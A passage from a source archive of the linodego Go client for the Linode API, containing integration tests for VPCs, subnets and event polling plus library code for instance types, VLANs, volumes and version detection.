%v the subnet %v%v: %v", action, *vpcSubnetID, vpcMsg, err, ) } func vpcSubnetCheck(vpcSubnet *linodego.VPCSubnet, t *testing.T) { if vpcSubnet.ID == 0 { t.Error("expected a VPC subnet ID, but got 0") } assertDateSet(t, vpcSubnet.Created) assertDateSet(t, vpcSubnet.Updated) } func vpcSubnetCreateOptionsCheck( opts *linodego.VPCSubnetCreateOptions, vpcSubnet *linodego.VPCSubnet, t *testing.T, ) { if !(opts.IPv4 == vpcSubnet.IPv4 && opts.Label == vpcSubnet.Label) { t.Error( "the VPC subnet instance and the VPC subnet " + "create options instance are mismatched", ) } } func vpcSubnetUpdateOptionsCheck( opts *linodego.VPCSubnetUpdateOptions, vpcSubnet *linodego.VPCSubnet, t *testing.T, ) { if !(opts.Label == vpcSubnet.Label) { t.Error( "the VPC subnet instance and the VPC subnet " + "update options instance are mismatched", ) } } func createVPCWithSubnet(t *testing.T, client *linodego.Client, vpcModifier ...vpcModifier) ( *linodego.VPC, *linodego.VPCSubnet, func(), error, ) { t.Helper() createOpts := linodego.VPCCreateOptions{ Label: "go-test-vpc-" + getUniqueText(), Region: getRegionsWithCaps(t, client, []string{"VPCs"})[0], Subnets: []VPCSubnetCreateOptions{ { Label: "linodego-vpc-test-" + getUniqueText(), IPv4: TestSubnet, }, }, } for _, mod := range vpcModifier { mod(client, &createOpts) } vpc, err := client.CreateVPC(context.Background(), createOpts) if err != nil { t.Fatal(formatVPCError(err, "creating", nil)) } teardown := func() { if err := client.DeleteVPC(context.Background(), vpc.ID); err != nil { t.Error(formatVPCError(err, "deleting", &vpc.ID)) } } return vpc, &vpc.Subnets[0], teardown, err } func createSubnetInVPC( t *testing.T, client *linodego.Client, vpc linodego.VPC, vpcModifier ...vpcModifier, ) ( *linodego.VPCSubnet, func(), error, ) { t.Helper() createOpts := linodego.VPCSubnetCreateOptions{ Label: "linodego-vpc-test-" + getUniqueText(), IPv4: TestSubnet, } vpcSubnet, err := client.CreateVPCSubnet(context.Background(), createOpts, vpc.ID) if err != nil { t.Fatal(formatVPCSubnetError(err, "creating", &vpc.ID, nil)) } teardown := func() { err = client.DeleteVPCSubnet(context.Background(), vpc.ID, vpcSubnet.ID) if err != nil { t.Error(formatVPCSubnetError(err, "deleting", &vpc.ID, &vpcSubnet.ID)) } } return vpcSubnet, teardown, err } func setupVPCWithSubnet( t *testing.T, fixturesYaml string, ) ( *linodego.Client, *linodego.VPC, *linodego.VPCSubnet, func(), error, ) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) vpc, vpcSubnet, vpcSubnetTeardown, err := createVPCWithSubnet(t, client) if err != nil { if vpcSubnetTeardown != nil { vpcSubnetTeardown() } fixtureTeardown() t.Fatal(err) } teardown := func() { vpcSubnetTeardown() fixtureTeardown() } return client, vpc, vpcSubnet, teardown, err } func TestVPC_Subnet_Create(t *testing.T) { _, _, vpcSubnet, teardown, err := setupVPCWithSubnet(t, "fixtures/TestVPC_Subnet_Create") defer teardown() if err != nil { t.Error(formatVPCSubnetError(err, "setting up", nil, nil)) } vpcSubnetCheck(vpcSubnet, t) opts := vpcSubnet.GetCreateOptions() vpcSubnetCreateOptionsCheck(&opts, vpcSubnet, t) } func TestVPC_Subnet_Update(t *testing.T) { client, vpc, vpcSubnet, teardown, err := setupVPCWithSubnet(t, "fixtures/TestVPC_Subnet_Update") defer teardown() if err != nil { t.Error(formatVPCSubnetError(err, "setting up", nil, nil)) } vpcSubnetCheck(vpcSubnet, t) opts := vpcSubnet.GetUpdateOptions() vpcSubnetUpdateOptionsCheck(&opts, vpcSubnet, t) updatedVPCSubnet, err := client.UpdateVPCSubnet( context.Background(), vpc.ID, vpcSubnet.ID, opts, ) if err != nil { t.Error(formatVPCSubnetError(err, "updating", &vpc.ID, &vpcSubnet.ID)) } vpcSubnetUpdateOptionsCheck(&opts, updatedVPCSubnet, t) } func TestVPC_Subnet_List(t *testing.T) { client, vpc, vpcSubnet, teardown, err := setupVPCWithSubnet(t, "fixtures/TestVPC_Subnet_List") defer teardown() if err != nil { t.Error(formatVPCSubnetError(err, "setting up", nil, nil)) } vpcSubnetCheck(vpcSubnet, t) opts := vpcSubnet.GetCreateOptions() vpcSubnetCreateOptionsCheck(&opts, vpcSubnet, t) vpcSubnets, err := client.ListVPCSubnets(context.Background(), vpc.ID, nil) found := false for _, v := range vpcSubnets { if v.ID == vpcSubnet.ID { found = true } } if !found { t.Errorf("the VPC %v subnet %v not found in list", vpc.ID, vpcSubnet.ID) } } func TestVPC_Subnet_Create_Invalid_data(t *testing.T) { client, vpc, teardown, err := setupVPC(t, "fixtures/TestVPC_Subnet_Create_Invalid_data") defer teardown() if err != nil { t.Error(formatVPCSubnetError(err, "setting up", nil, nil)) } createOpts := linodego.VPCSubnetCreateOptions{ Label: "linodego-vpc-test_invalid_label" + getUniqueText(), IPv4: TestSubnet, } _, err = client.CreateVPCSubnet(context.Background(), createOpts, vpc.ID) e, _ := err.(*Error) if e.Code != 400 { t.Errorf("should have received a 400 Code with invalid label, got %v", e.Code) } expectedErrorMessage := "Label must include only ASCII letters, numbers, and dashes" if !strings.Contains(e.Message, expectedErrorMessage) { t.Errorf("Wrong error message displayed should have contained, %s", expectedErrorMessage) } } func TestVPC_Subnet_Update_Invalid_data(t *testing.T) { client, vpc, vpcSubnet, teardown, err := setupVPCWithSubnet(t, "fixtures/TestVPC_Subnet_Update_Invalid_Label") defer teardown() if err != nil { t.Error(formatVPCSubnetError(err, "setting up", nil, nil)) } vpcSubnetCheck(vpcSubnet, t) opts := vpcSubnet.GetUpdateOptions() vpcSubnetUpdateOptionsCheck(&opts, vpcSubnet, t) opts.Label = "invalid_label" _, err = client.UpdateVPCSubnet( context.Background(), vpc.ID, vpcSubnet.ID, opts, ) e, _ := err.(*Error) if e.Code != 400 { t.Errorf("should have received a 400 Code with invalid label, got %v", e.Code) } expectedErrorMessage := "Label must include only ASCII letters, numbers, and dashes" if !strings.Contains(e.Message, expectedErrorMessage) { t.Errorf("Wrong error message displayed should have contained, %s", expectedErrorMessage) } } func TestVPC_Subnet_WithInstance(t *testing.T) { client, vpc, vpcSubnet, inst, config, teardown := setupInstanceWith3Interfaces(t, "fixtures/TestVPC_Subnet_WithInstance") defer teardown() // Refresh the subnet to show the assigned instance/interface refreshedSubnet, err := client.GetVPCSubnet(context.Background(), vpc.ID, vpcSubnet.ID) if err != nil { t.Fatal(err) } if len(refreshedSubnet.Linodes) != 1 { t.Fatalf("expected 1 assigned linode, got %d", len(refreshedSubnet.Linodes)) } targetLinode := refreshedSubnet.Linodes[0] if targetLinode.ID != inst.ID { t.Fatalf("expected assigned instance to have id %d, got %d", inst.ID, targetLinode.ID) } if len(targetLinode.Interfaces) != 1 { t.Fatalf("expected 1 assigned interface, got %d", len(targetLinode.Interfaces)) } targetInterface := targetLinode.Interfaces[0] if targetInterface.ID != config.Interfaces[2].ID { t.Fatalf("interface ID mismatch, expected %d for %d", config.Interfaces[2].ID, targetInterface.ID) } // Ensure the NAT 1:1 information is reflected in the IP configuration of this instance networking, err := client.GetInstanceIPAddresses(context.Background(), inst.ID) if err != nil { t.Fatal(err) } nat1To1 := networking.IPv4.Public[0].VPCNAT1To1 if nat1To1 == nil { t.Fatalf("expected VPCNAT1To1 to contain data, got nil") } if nat1To1.SubnetID != refreshedSubnet.ID { t.Fatal("IP/subnet id mismatch") } if nat1To1.VPCID != vpc.ID { t.Fatal("IP/VPC id mismatch") } if nat1To1.Address != config.Interfaces[2].IPv4.VPC { t.Fatalf("nat_1_1 subnet IP mismatch") } } golang-github-linode-linodego-1.28.0/test/integration/vpc_test.go000066400000000000000000000131041455402072200250570ustar00rootroot00000000000000package integration import ( "context" "fmt" "strings" "testing" "github.com/linode/linodego" . "github.com/linode/linodego" ) type vpcModifier func(*linodego.Client, *linodego.VPCCreateOptions) func formatVPCError(err error, action string, vpcID *int) error { if err == nil { return nil } if vpcID == nil { return fmt.Errorf( "an error occurs when %v the VPC(s): %v", action, err, ) } return fmt.Errorf( "an error occurs when %v the VPC %v: %v", action, *vpcID, err, ) } func createVPC(t *testing.T, client *linodego.Client, vpcModifier ...vpcModifier) (*linodego.VPC, func(), error) { t.Helper() createOpts := linodego.VPCCreateOptions{ Label: "go-test-vpc-" + getUniqueText(), Region: getRegionsWithCaps(t, client, []string{"VPCs"})[0], } for _, mod := range vpcModifier { mod(client, &createOpts) } vpc, err := client.CreateVPC(context.Background(), createOpts) if err != nil { t.Fatal(formatVPCError(err, "creating", nil)) } teardown := func() { if err := client.DeleteVPC(context.Background(), vpc.ID); err != nil { t.Error(formatVPCError(err, "deleting", &vpc.ID)) } } return vpc, teardown, err } func createVPC_invalid_label(t *testing.T, client *linodego.Client) error { t.Helper() createOpts := linodego.VPCCreateOptions{ Label: "gotest_vpc_invalid_label" + getUniqueText(), Region: getRegionsWithCaps(t, client, []string{"VPCs"})[0], } _, err := client.CreateVPC(context.Background(), createOpts) return err } func setupVPC(t *testing.T, fixturesYaml string) ( *linodego.Client, *linodego.VPC, func(), error, ) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) vpc, vpcTeardown, err := createVPC(t, client) teardown := func() { vpcTeardown() fixtureTeardown() } return client, vpc, teardown, err } func vpcCheck(vpc *linodego.VPC, t *testing.T) { if vpc.ID == 0 { t.Errorf("expected a VPC ID, but got 0") } assertDateSet(t, vpc.Created) assertDateSet(t, vpc.Updated) } func vpcCreateOptionsCheck( opts *linodego.VPCCreateOptions, vpc *linodego.VPC, t *testing.T, ) { good := (opts.Description == vpc.Description && opts.Label == vpc.Label && opts.Region == vpc.Region && len(opts.Subnets) == len(vpc.Subnets)) for i := 0; i < minInt(len(opts.Subnets), len(vpc.Subnets)); i++ { good = good && (opts.Subnets[i].IPv4 == vpc.Subnets[i].IPv4 && opts.Subnets[i].Label == vpc.Subnets[i].Label) } if !good { t.Error( "the VPC instance and the VPC creation options instance are mismatched", ) } } func vpcUpdateOptionsCheck( opts *linodego.VPCUpdateOptions, vpc *linodego.VPC, t *testing.T, ) { if !(opts.Description == vpc.Description && opts.Label == vpc.Label) { t.Error("the VPC instance and VPC Update Options instance are mismatched") } } func TestVPC_CreateGet(t *testing.T) { client, vpc, teardown, err := setupVPC(t, "fixtures/TestVPC_CreateGet") defer teardown() if err != nil { t.Error(formatVPCError(err, "setting up", nil)) } vpcCheck(vpc, t) opts := vpc.GetCreateOptions() vpcCreateOptionsCheck(&opts, vpc, t) client.GetVPC(context.TODO(), vpc.ID) } func TestVPC_Update(t *testing.T) { client, vpc, teardown, err := setupVPC(t, "fixtures/TestVPC_Update") defer teardown() if err != nil { t.Error(formatVPCError(err, "setting up", nil)) } vpcCheck(vpc, t) opts := vpc.GetUpdateOptions() vpcUpdateOptionsCheck(&opts, vpc, t) updatedDescription := "updated description" updatedLabel := "updated-label" opts.Description = updatedDescription opts.Label = updatedLabel updatedVPC, err := client.UpdateVPC(context.Background(), vpc.ID, opts) if err != nil { t.Error(formatVPCError(err, "updating", &vpc.ID)) } vpcUpdateOptionsCheck(&opts, updatedVPC, t) } func TestVPC_List(t *testing.T) { client, vpc, teardown, err := setupVPC(t, "fixtures/TestVPC_List") defer teardown() if err != nil { t.Error(formatVPCError(err, "setting up", nil)) } vpcCheck(vpc, t) vpcs, err := client.ListVPCs(context.Background(), nil) if err != nil { t.Error(formatVPCError(err, "listing", nil)) } found := false for _, v := range vpcs { if v.ID == vpc.ID { found = true } } if !found { t.Errorf("vpc %v not found in list", vpc.ID) } } func TestVPC_Create_Invalid_data(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestVPC_Create_Invalid") defer teardown() err := createVPC_invalid_label(t, client) e, _ := err.(*Error) if e.Code != 400 { t.Errorf("should have received a 400 Code with invalid label, got %v", e.Code) } expectedErrorMessage := "Label must include only ASCII letters, numbers, and dashes" if !strings.Contains(e.Message, expectedErrorMessage) { t.Errorf("Wrong error message displayed should have contained, %s", expectedErrorMessage) } } func TestVPC_Update_Invalid_data(t *testing.T) { client, vpc, teardown, err := setupVPC(t, "fixtures/TestVPC_Update_Invalid") defer teardown() if err != nil { t.Error(formatVPCError(err, "setting up", nil)) } vpcCheck(vpc, t) opts := vpc.GetUpdateOptions() vpcUpdateOptionsCheck(&opts, vpc, t) updatedDescription := "updated description" updatedLabel := "updated_invalid_label" opts.Description = updatedDescription opts.Label = updatedLabel _, err = client.UpdateVPC(context.Background(), vpc.ID, opts) e, _ := err.(*Error) if e.Code != 400 { t.Errorf("should have received a 400 Code with invalid label, got %v", e.Code) } expectedErrorMessage := "Label must include only ASCII letters, numbers, and dashes" if !strings.Contains(e.Message, expectedErrorMessage) { t.Errorf("Wrong error message displayed should have contained, %s", expectedErrorMessage) } } golang-github-linode-linodego-1.28.0/test/integration/waitfor_test.go000066400000000000000000000141731455402072200257510ustar00rootroot00000000000000package integration import ( "context" "fmt" "github.com/linode/linodego" "testing" ) func TestEventPoller_InstancePower(t *testing.T) { client, fixtureTeardown := createTestClient(t, "fixtures/TestEventPoller_InstancePower") t.Cleanup(fixtureTeardown) p, err := client.NewEventPollerWithoutEntity(linodego.EntityLinode, linodego.ActionLinodeCreate) if err != nil { t.Fatalf("failed to initialize event poller: %s", err) } booted := false instance, err := client.CreateInstance(context.Background(), linodego.InstanceCreateOptions{ Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], Type: "g6-nanode-1", Image: "linode/ubuntu22.04", RootPass: randPassword(), Label: "go-ins-poll-test", Booted: &booted, }) if err != nil { t.Fatal(err) } t.Cleanup(func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { t.Error(err) } }) p.EntityID = instance.ID if _, err := p.WaitForFinished(context.Background(), 120); err != nil { t.Fatal(err) } // Wait for the instance to be booted p, err = client.NewEventPoller( context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeBoot) if err != nil { t.Fatal(err) } if err := client.BootInstance(context.Background(), instance.ID, 0); err != nil { t.Fatal(err) } event, err := p.WaitForFinished(context.Background(), 200) if err != nil { t.Fatal(err) } inst, err := client.GetInstance(context.Background(), instance.ID) if err != nil { t.Fatal(err) } if inst.Status != linodego.InstanceRunning { t.Fatalf("instance expected to be running, got %s", inst.Status) } // Wait for the instance to be shut down p, err = client.NewEventPoller( context.Background(), instance.ID, linodego.EntityLinode, linodego.ActionLinodeShutdown) if err != nil { t.Fatal(err) } if err := client.ShutdownInstance(context.Background(), instance.ID); err != nil { t.Fatal(err) } event, err = p.WaitForFinished(context.Background(), 200) if err != nil { t.Fatal(err) } if event.Action != linodego.ActionLinodeShutdown { t.Fatalf("action type mismatch: %s != %s", event.Action, linodego.ActionLinodeShutdown) } inst, err = client.GetInstance(context.Background(), instance.ID) if err != nil { t.Fatal(err) } if inst.Status != linodego.InstanceOffline { t.Fatalf("instance expected to be offline, got %s", inst.Status) } } func TestWaitForResourceFree(t *testing.T) { client, fixtureTeardown := createTestClient(t, "fixtures/TestWaitForResourceFree") t.Cleanup(fixtureTeardown) // Create a booted instance instance, err := client.CreateInstance(context.Background(), linodego.InstanceCreateOptions{ Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], Type: "g6-nanode-1", Image: "linode/ubuntu22.04", RootPass: randPassword(), Label: "linodego-waitforfree", }) if err != nil { t.Fatal(err) } t.Cleanup(func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { t.Error(err) } }) // Wait for the instance to be done with all events err = client.WaitForResourceFree(context.Background(), linodego.EntityLinode, instance.ID, 240) if err != nil { t.Fatal(err) } // Check that the instance is no longer busy instance, err = client.GetInstance(context.Background(), instance.ID) if err != nil { t.Fatal(err) } if instance.Status == linodego.InstanceProvisioning { t.Fatalf("expected instance to not be provisioning, got %s", instance.Status) } } func TestEventPoller_Secondary(t *testing.T) { client, fixtureTeardown := createTestClient(t, "fixtures/TestEventPoller_Secondary") defer fixtureTeardown() createPoller, err := client.NewEventPollerWithoutEntity(linodego.EntityLinode, linodego.ActionLinodeCreate) if err != nil { t.Fatalf("failed to initialize event poller: %s", err) } booted := false instance, err := client.CreateInstance(context.Background(), linodego.InstanceCreateOptions{ Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], Type: "g6-nanode-1", Label: "go-ins-poll-test", Booted: &booted, }) if err != nil { t.Fatal(err) } defer func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { t.Error(err) } }() createPoller.EntityID = instance.ID if _, err := createPoller.WaitForFinished(context.Background(), 120); err != nil { t.Fatal(err) } // Create two instance disks disks := make([]*linodego.InstanceDisk, 2) for i := 0; i < 2; i++ { disk, err := client.CreateInstanceDisk(context.Background(), instance.ID, linodego.InstanceDiskCreateOptions{ Label: fmt.Sprintf("test-disk-%d", i), Size: 512, }) if err != nil { t.Fatalf("failed to create instance disk: %s", err) } disks[i] = disk } // Poll for the first disk to be deleted diskPoller, err := client.NewEventPollerWithSecondary( context.Background(), instance.ID, linodego.EntityLinode, disks[0].ID, linodego.ActionDiskDelete) if err != nil { t.Fatal(err) } // Poll for the second disk to be deleted diskPoller2, err := client.NewEventPollerWithSecondary( context.Background(), instance.ID, linodego.EntityLinode, disks[1].ID, linodego.ActionDiskDelete) if err != nil { t.Fatal(err) } // Delete the first two disks for i := 0; i < 2; i++ { if err := client.DeleteInstanceDisk(context.Background(), instance.ID, disks[i].ID); err != nil { t.Fatal(err) } } // Wait for the first disk to be deleted deleteEvent, err := diskPoller.WaitForFinished(context.Background(), 60) if err != nil { t.Fatal(err) } // Poll for the second disk to be deleted. // This is necessary to cover an edge case that triggers a panic // when other deletion events with a null SecondaryEntity are discovered. if _, err := diskPoller2.WaitForFinished(context.Background(), 60); err != nil { t.Fatal(err) } entityID := deleteEvent.SecondaryEntity.ID // Sometimes the JSON unmarshaler will // parse IDs as floats rather than ints. if value, ok := entityID.(float64); ok { entityID = int(value) } if entityID != disks[0].ID { t.Fatalf("expected event and first deleteEvent id to match; got %v", deleteEvent.SecondaryEntity.ID) } } golang-github-linode-linodego-1.28.0/tod_scripts/000077500000000000000000000000001455402072200217355ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/types.go000066400000000000000000000073101455402072200210740ustar00rootroot00000000000000package linodego import ( "context" "fmt" "net/url" "github.com/go-resty/resty/v2" ) // LinodeType represents a linode type object type LinodeType struct { ID string `json:"id"` Disk int `json:"disk"` Class LinodeTypeClass `json:"class"` // enum: nanode, standard, highmem, dedicated, gpu Price *LinodePrice `json:"price"` Label string `json:"label"` Addons *LinodeAddons `json:"addons"` RegionPrices []LinodeRegionPrice `json:"region_prices"` NetworkOut int `json:"network_out"` Memory int `json:"memory"` Transfer int `json:"transfer"` VCPUs int `json:"vcpus"` GPUs int `json:"gpus"` Successor string `json:"successor"` } // LinodePrice represents a linode type price object type LinodePrice struct { Hourly float32 `json:"hourly"` Monthly float32 `json:"monthly"` } // LinodeBackupsAddon represents a linode backups addon object type LinodeBackupsAddon struct { Price *LinodePrice `json:"price"` RegionPrices []LinodeRegionPrice `json:"region_prices"` } // LinodeAddons represent the linode addons object type LinodeAddons struct { Backups *LinodeBackupsAddon `json:"backups"` } // LinodeRegionPrice represents an individual type or addon // price exception for a region. type LinodeRegionPrice struct { ID string `json:"id"` Hourly float32 `json:"hourly"` Monthly float32 `json:"monthly"` } // LinodeTypeClass constants start with Class and include Linode API Instance Type Classes type LinodeTypeClass string // LinodeTypeClass contants are the Instance Type Classes that an Instance Type can be assigned const ( ClassNanode LinodeTypeClass = "nanode" ClassStandard LinodeTypeClass = "standard" ClassHighmem LinodeTypeClass = "highmem" ClassDedicated LinodeTypeClass = "dedicated" ClassGPU LinodeTypeClass = "gpu" ) // LinodeTypesPagedResponse represents a linode types API response for listing type LinodeTypesPagedResponse struct { *PageOptions Data []LinodeType `json:"data"` } func (*LinodeTypesPagedResponse) endpoint(_ ...any) string { return "linode/types" } func (resp *LinodeTypesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(LinodeTypesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*LinodeTypesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListTypes lists linode types. This endpoint is cached by default. func (c *Client) ListTypes(ctx context.Context, opts *ListOptions) ([]LinodeType, error) { response := LinodeTypesPagedResponse{} endpoint, err := generateListCacheURL(response.endpoint(), opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]LinodeType), nil } err = c.listHelper(ctx, &response, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response.Data, &cacheExpiryTime) return response.Data, nil } // GetType gets the type with the provided ID. This endpoint is cached by default. func (c *Client) GetType(ctx context.Context, typeID string) (*LinodeType, error) { e := fmt.Sprintf("linode/types/%s", url.PathEscape(typeID)) if result := c.getCachedResponse(e); result != nil { result := result.(LinodeType) return &result, nil } req := c.R(ctx).SetResult(LinodeType{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } c.addCachedResponse(e, r.Result(), &cacheExpiryTime) return r.Result().(*LinodeType), nil } golang-github-linode-linodego-1.28.0/version.go000066400000000000000000000012621455402072200214150ustar00rootroot00000000000000package linodego import ( "fmt" "runtime/debug" ) const packagePath = "github.com/linode/linodego" var ( Version = "dev" // DefaultUserAgent is the default User-Agent sent in HTTP request headers DefaultUserAgent string ) // init attempts to source the version from the build info injected // at runtime and sets the DefaultUserAgent. func init() { buildInfo, ok := debug.ReadBuildInfo() if ok { for _, dep := range buildInfo.Deps { if dep.Path == packagePath { if dep.Replace != nil { Version = dep.Replace.Version } Version = dep.Version break } } } DefaultUserAgent = fmt.Sprintf("linodego/%s https://github.com/linode/linodego", Version) } golang-github-linode-linodego-1.28.0/vlans.go000066400000000000000000000044541455402072200210610ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) type VLAN struct { Label string `json:"label"` Linodes []int `json:"linodes"` Region string `json:"region"` Created *time.Time `json:"-"` } // UnmarshalJSON for VLAN responses func (v *VLAN) UnmarshalJSON(b []byte) error { type Mask VLAN p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` }{ Mask: (*Mask)(v), } if err := json.Unmarshal(b, &p); err != nil { return err } v.Created = (*time.Time)(p.Created) return nil } // VLANsPagedResponse represents a Linode API response for listing of VLANs type VLANsPagedResponse struct { *PageOptions Data []VLAN `json:"data"` } func (VLANsPagedResponse) endpoint(_ ...any) string { return "networking/vlans" } func (resp *VLANsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(VLANsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*VLANsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListVLANs returns a paginated list of VLANs func (c *Client) ListVLANs(ctx context.Context, opts *ListOptions) ([]VLAN, error) { response := VLANsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetVLANIPAMAddress returns the IPAM Address for a given VLAN Label as a string (10.0.0.1/24) func (c *Client) GetVLANIPAMAddress(ctx context.Context, linodeID int, vlanLabel string) (string, error) { f := Filter{} f.AddField(Eq, "interfaces", vlanLabel) vlanFilter, err := f.MarshalJSON() if err != nil { return "", fmt.Errorf("Unable to convert VLAN label: %s to a filterable object: %w", vlanLabel, err) } cfgs, err := c.ListInstanceConfigs(ctx, linodeID, &ListOptions{Filter: string(vlanFilter)}) if err != nil { return "", fmt.Errorf("Fetching configs for instance %v failed: %w", linodeID, err) } interfaces := cfgs[0].Interfaces for _, face := range interfaces { if face.Label == vlanLabel { return face.IPAMAddress, nil } } return "", fmt.Errorf("Failed to find IPAMAddress for VLAN: %s", vlanLabel) } golang-github-linode-linodego-1.28.0/volumes.go000066400000000000000000000160341455402072200214250ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // VolumeStatus indicates the status of the Volume type VolumeStatus string const ( // VolumeCreating indicates the Volume is being created and is not yet available for use VolumeCreating VolumeStatus = "creating" // VolumeActive indicates the Volume is online and available for use VolumeActive VolumeStatus = "active" // VolumeResizing indicates the Volume is in the process of upgrading its current capacity VolumeResizing VolumeStatus = "resizing" // VolumeContactSupport indicates there is a problem with the Volume. A support ticket must be opened to resolve the issue VolumeContactSupport VolumeStatus = "contact_support" ) // Volume represents a linode volume object type Volume struct { ID int `json:"id"` Label string `json:"label"` Status VolumeStatus `json:"status"` Region string `json:"region"` Size int `json:"size"` LinodeID *int `json:"linode_id"` FilesystemPath string `json:"filesystem_path"` Tags []string `json:"tags"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } // VolumeCreateOptions fields are those accepted by CreateVolume type VolumeCreateOptions struct { Label string `json:"label,omitempty"` Region string `json:"region,omitempty"` LinodeID int `json:"linode_id,omitempty"` ConfigID int `json:"config_id,omitempty"` // The Volume's size, in GiB. Minimum size is 10GiB, maximum size is 10240GiB. A "0" value will result in the default size. Size int `json:"size,omitempty"` // An array of tags applied to this object. Tags are for organizational purposes only. Tags []string `json:"tags"` PersistAcrossBoots *bool `json:"persist_across_boots,omitempty"` } // VolumeUpdateOptions fields are those accepted by UpdateVolume type VolumeUpdateOptions struct { Label string `json:"label,omitempty"` Tags *[]string `json:"tags,omitempty"` } // VolumeAttachOptions fields are those accepted by AttachVolume type VolumeAttachOptions struct { LinodeID int `json:"linode_id"` ConfigID int `json:"config_id,omitempty"` PersistAcrossBoots *bool `json:"persist_across_boots,omitempty"` } // VolumesPagedResponse represents a linode API response for listing of volumes type VolumesPagedResponse struct { *PageOptions Data []Volume `json:"data"` } // UnmarshalJSON implements the json.Unmarshaler interface func (v *Volume) UnmarshalJSON(b []byte) error { type Mask Volume p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(v), } if err := json.Unmarshal(b, &p); err != nil { return err } v.Created = (*time.Time)(p.Created) v.Updated = (*time.Time)(p.Updated) return nil } // GetUpdateOptions converts a Volume to VolumeUpdateOptions for use in UpdateVolume func (v Volume) GetUpdateOptions() (updateOpts VolumeUpdateOptions) { updateOpts.Label = v.Label updateOpts.Tags = &v.Tags return } // GetCreateOptions converts a Volume to VolumeCreateOptions for use in CreateVolume func (v Volume) GetCreateOptions() (createOpts VolumeCreateOptions) { createOpts.Label = v.Label createOpts.Tags = v.Tags createOpts.Region = v.Region createOpts.Size = v.Size if v.LinodeID != nil && *v.LinodeID > 0 { createOpts.LinodeID = *v.LinodeID } return } // endpoint gets the endpoint URL for Volume func (VolumesPagedResponse) endpoint(_ ...any) string { return "volumes" } func (resp *VolumesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(VolumesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*VolumesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListVolumes lists Volumes func (c *Client) ListVolumes(ctx context.Context, opts *ListOptions) ([]Volume, error) { response := VolumesPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetVolume gets the template with the provided ID func (c *Client) GetVolume(ctx context.Context, volumeID int) (*Volume, error) { e := fmt.Sprintf("volumes/%d", volumeID) req := c.R(ctx).SetResult(&Volume{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Volume), nil } // AttachVolume attaches a volume to a Linode instance func (c *Client) AttachVolume(ctx context.Context, volumeID int, opts *VolumeAttachOptions) (*Volume, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("volumes/%d/attach", volumeID) req := c.R(ctx).SetResult(&Volume{}).SetBody(string(body)) resp, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return resp.Result().(*Volume), nil } // CreateVolume creates a Linode Volume func (c *Client) CreateVolume(ctx context.Context, opts VolumeCreateOptions) (*Volume, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "volumes" req := c.R(ctx).SetResult(&Volume{}).SetBody(string(body)) resp, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return resp.Result().(*Volume), nil } // UpdateVolume updates the Volume with the specified id func (c *Client) UpdateVolume(ctx context.Context, volumeID int, opts VolumeUpdateOptions) (*Volume, error) { body, err := json.Marshal(opts) if err != nil { return nil, NewError(err) } e := fmt.Sprintf("volumes/%d", volumeID) req := c.R(ctx).SetResult(&Volume{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*Volume), nil } // CloneVolume clones a Linode volume func (c *Client) CloneVolume(ctx context.Context, volumeID int, label string) (*Volume, error) { body := fmt.Sprintf("{\"label\":\"%s\"}", label) e := fmt.Sprintf("volumes/%d/clone", volumeID) req := c.R(ctx).SetResult(&Volume{}).SetBody(body) resp, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return resp.Result().(*Volume), nil } // DetachVolume detaches a Linode volume func (c *Client) DetachVolume(ctx context.Context, volumeID int) error { body := "" e := fmt.Sprintf("volumes/%d/detach", volumeID) _, err := coupleAPIErrors(c.R(ctx).SetBody(body).Post(e)) return err } // ResizeVolume resizes an instance to new Linode type func (c *Client) ResizeVolume(ctx context.Context, volumeID int, size int) error { body := fmt.Sprintf("{\"size\": %d}", size) e := fmt.Sprintf("volumes/%d/resize", volumeID) _, err := coupleAPIErrors(c.R(ctx).SetBody(body).Post(e)) return err } // 